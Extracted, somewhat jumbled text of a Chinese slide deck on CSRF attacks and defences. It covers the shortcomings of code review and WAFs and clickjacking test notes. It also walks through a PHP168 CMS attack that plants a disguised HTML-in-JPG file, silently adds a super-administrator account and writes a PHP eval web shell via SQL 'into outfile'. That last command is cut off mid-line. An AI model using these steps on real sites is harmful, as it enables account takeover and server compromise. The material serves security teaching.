CSRF(跨站伪冒请求)攻击的分析与防护.ppt

* * Obstacle for Code Review(or Scanners) 5 4 3 2 1 Can’t provide immediate protection Web applications, change frequently. In many cases the application can change before a full review cycle has been completed The source code is not readily “available” or “understood” With enough MIS staffs and time to do re-coding ? Manual code fixes are only as good as the developer Attacks, (again, especially Web attacks), also change frequently. No multiple services correlation capability Can’t track the accurate user who launches the attacks and the attack patterns Continued 10 9 8 7 6 Suitable for developing phase, not for production phase Suitable for developing phase, not for design phase (only resolved by Risk Analysis) Slow response to compliance requirements Can’t protect web servers and backend database servers No web site cloaking such as anti Google hack Can’t provide additional insight into those that are requiring writing to the database or are accessed by transaction only 5 4 3 2 1 Suitable for production phase, not for developing phase Suitable for developing phase, not for design phase (only resolved by Risk Analysis) Lack of Logical flaws detection (only resolved by human code review) Applications do something insecure Can’t accurately correct application flaws WAF could go down (fail-open or fail-close) Obstacle for WAFs 問題與討論  Thank you! Michael_Shiah@.tw 02699 * * * 1004-2010年, 測試: Vista的IE8, iframe顯示不出來; Vista及XP的FF, 按下層的任何鈕(正常或not found的網頁都可), 會彈出clearclick視窗; XP的IE6, 會連到, 表示沒防護; 可以都demo給客戶看!! * * Demo我的程式 * 駭客在網站首頁註冊個用戶，然後在會員中心裡創建專輯，這裡可以傳HTML文件，如果不可以上傳保存為jpg格式的上傳也可以，因為IE6下JPG格式只要包含HTML代碼也可以執行 把這貼上去騙管理員去點擊 把這個保存為JPG格式在創建專輯裡上傳，得到路徑為special/5_20090426220451_PYwLh.jpg，我們把/php168/upload_files/ special/5_20090426220451_PYwLh.jpg 發出去，這樣管理員只要是登錄前台和後台的情況下訪問這個鏈接就會執行上面的代碼，而管理員看見的只是一張圖片 而在後台已經添加了用戶名為：櫻花浪子的超級管理員用戶。關於進後台拿SHELL方法就很多了，我這裡用的是在資料庫管理那裡執行SQL語句，執行：“SELECT ‘?php @eval($_POST[cmd]);?’ into outfile